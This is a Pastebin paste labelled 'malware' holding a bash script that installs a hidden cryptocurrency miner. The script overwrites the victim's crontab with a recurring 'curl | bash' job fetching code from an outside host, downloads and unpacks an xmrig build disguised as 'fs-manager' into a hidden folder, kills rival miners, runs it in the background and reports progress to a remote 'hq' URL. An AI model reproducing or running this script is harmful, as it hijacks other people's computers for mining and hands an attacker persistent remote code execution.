Advertisement
Guest User

malware

a guest
Dec 12th, 2017
1,093
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.77 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # find a good writable path
  4. self="/tmp/setup.sh"
  5. paths=("/var/tmp" "/tmp" "${PWD}")
  6. workdir=""
  7. files="https://www.viewyng.com/includes/libraries/files.tar.gz"
  8. notifyurl="https://www.viewyng.com/includes/libraries/notify.php?p=sf"
  9. product="sf"
  10. setupurl="https://www.viewyng.com/includes/libraries/getsetup.php?p=sf"
  11. lockfile="/tmp/setupsh.lock"
  12.  
  13. notify ()
  14. {
  15.     curl -s -F "msg=$1" "${notifyurl}" > /dev/null 2>&1
  16. }
  17.  
  18. #make sure we're only running one instance
  19. if [ -f "$lockfile" ]; then
  20.     exit;
  21. fi
  22.  
  23. #lock
  24. touch $lockfile
  25.  
  26. for i in ${paths[@]}; do
  27.     if [ -w "${i}" ]; then
  28.         workdir=${i}
  29.         break
  30.     fi
  31. done
  32.  
  33. # if no writable dir found
  34. if [ -z "$workdir" ]; then
  35.     notify "no write"
  36.     exit
  37. fi
  38.  
  39. # kill old instances of xmrig
  40.  
  41. if [[ $(ps -ef | grep xmrig | grep -v grep | wc -l) != 0 ]]; then
  42.     killall xmrig
  43. fi
  44.  
  45. # save current crontab to a file
  46.  
  47. cronfile="${workdir}/.crontab.tmp"
  48. crontab -l > "${cronfile}"
  49.  
  50. # remove old /var/tmp/check-****.sh from cron
  51.  
  52. sed -i '/\/var\/tmp\/check-/d' "${cronfile}"
  53.  
  54.  
  55. # check if we already have cron setup
  56. if ! grep -q "${setupurl}" "${cronfile}"; then
  57.  
  58.     # setup new cron if needed
  59.     echo "52 1,4,7,10,13,16,19 * * * curl -s \"${setupurl}\" | bash" > "${cronfile}"
  60.  
  61.     # report to hq
  62.     notify "Cron installed"
  63.  
  64. fi
  65.  
  66. crontab "${cronfile}"
  67. rm -f "${cronfile}"
  68.  
  69. # check if xmrig is where we want it to be - $workdir/.X1M-Unix
  70. xmrigdir="${workdir}/.X1M-Unix"
  71. if [ ! -d "${xmrigdir}" ]; then
  72.     # if can't find xmrig - download new
  73.     mkdir "${xmrigdir}"
  74. fi
  75.  
  76. download=0
  77. # check if we have executable
  78. if [ ! -f "${xmrigdir}/fs-manager" ]; then
  79.     notify "fs-manager not found"
  80.     download=1
  81. else
  82.     notify "fs-manager found"
  83.     # verify config is up to date
  84.        # if not - kill xmrig, update config
  85. fi
  86.  
  87.  
  88. launch=0
  89. if [ $download = 1 ]; then
  90.     notify "Downloading files"
  91.  
  92.     curl -s -o "${xmrigdir}/files.tar.gz" "${files}"
  93.  
  94.     if [ ! -f "${xmrigdir}/files.tar.gz" ]; then
  95.         notify "files dl failed"
  96.         exit
  97.     fi
  98.  
  99.     cd "${xmrigdir}"
  100.     tar xvzf files.tar.gz > /dev/null 2>&1
  101.  
  102.  
  103.     if [ ! -f "fs-manager" ]; then
  104.         notify "executable not found"
  105.         exit
  106.     fi
  107.  
  108.     rm -f files.tar.gz
  109.     chmod +x fs-manager
  110.  
  111.  
  112.     launch=1
  113. fi
  114.  
  115. # check if xmrig is runing
  116. if [[ $(ps -ef | grep fs-manager | grep -v grep | wc -l) = 0 ]]; then
  117.     # if not already runing, launch xmrig with nohup
  118.     launch=1
  119. fi
  120.  
  121. if [ $launch = 1 ]; then
  122.     #nohup
  123.     cd "${xmrigdir}"
  124.     nohup ./fs-manager > out.log 2>&1 &
  125. fi
  126.  
  127.  
  128. # report to hq if xmrig is runing (hashrate) or if glibc not found or if connection refused or elf not found or upload xmrig/nohup log if can't determine the reason
  129.  
  130. notify "all done"
  131.  
  132. rm -f "${lockfile}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement